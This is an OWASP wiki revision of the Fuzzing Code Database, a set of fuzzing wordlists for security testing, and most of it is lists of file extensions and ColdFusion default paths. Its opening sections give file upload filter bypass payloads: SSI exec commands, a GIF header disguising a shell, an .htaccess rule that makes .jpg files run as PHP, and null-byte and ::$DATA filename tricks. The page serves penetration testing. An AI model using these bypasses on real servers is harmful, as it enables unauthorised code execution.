maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80063 2010-03-17T20:41:00Z

<p>Adam.muntner: /* Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htacces in an upload folder on Apache httpd, try setting .jpg to executable<br /> #<br /> # example .htaccess:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> %00index.html<br /> ;index.html&lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar <br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> <br /> # Commonly writable directories<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> <br /> <br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> 